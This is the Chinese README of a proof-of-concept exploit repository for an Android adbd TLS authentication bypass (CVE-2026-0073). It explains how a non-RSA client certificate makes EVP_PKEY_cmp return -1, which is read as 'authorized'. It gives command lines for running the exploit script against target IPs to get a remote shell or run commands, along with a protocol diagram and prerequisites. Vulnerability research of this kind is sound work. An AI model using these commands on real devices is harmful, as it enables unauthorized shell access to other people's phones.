Android 的 ADB 守护程序 (adbd) 中存在一个关键的身份验证绕过漏洞,允许本地网络上的任何攻击者在目标设备上获得完整的 shell权限,而无需用户授权。
该漏洞存在于 daemon/auth.cpp 文件中的 adbd_tls_verify_cert() 函数中,其中 EVP_PKEY_cmp() 被用作布尔值。当存储的密钥是 RSA 密钥,而提供的 TLS 客户端证书携带的是 非 RSA 密钥(EC P-256 或 Ed25519)时,EVP_PKEY_cmp() 返回 -1(类型不匹配),这在 C/C++ 中为真,因此 authorized = true。
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
EVP_PKEY_cmp() 返回值 | 含义 | C 语言中的真值? | 结果 |
|---|---|---|---|
1 | 密钥匹配 | ✅ | 已授权(正确) |
0 | 键值不同 | ❌ | 已拒绝(正确) |
-1 | 类型不匹配 | ✅ | 已授权(BUG) |
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
默认情况下,脚本会自动尝试 EC P-256 → Ed25519 → EC/TLS 1.2,直到成功为止。
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
| 要求 | 详情 |
|---|---|
| 开发者选项 | 已在目标设备上启用 |
| 无线调试 | 已启用(或通过 TCP 端口 5555 使用 ADB) |
| 已存储的 RSA 密钥 | 设备必须至少通过 USB 配对过一次(/data/misc/adb/adb_keys) |
| 网络访问 | 攻击者必须访问 adbd TCP 端口 |
⚠️ 重要提示: RSA 密钥必须位于 /data/misc/adb/adb_keys 文件中,该文件通过 USB 调试配对(接受“允许 USB 调试?”对话框)填充。无线调试配对(adb pair)将密钥存储在 不同的位置(adb_known_hosts.pb)中,因此不符合此要求。
adb shell getprop ro.build.version.security_patch
经测试确认可在以下设备上正常运行:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
此分支包含以下几项改进:
select() 以实现跨平台支持-v 标志显示详细的协议跟踪信息CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
本工具仅供经授权的安全测试和教育用途。未经授权访问计算机系统属于违法行为。测试前务必获得适当授权。作者对本软件的误用不承担任何责任。
如果这对您的研究有所帮助,请点个赞⭐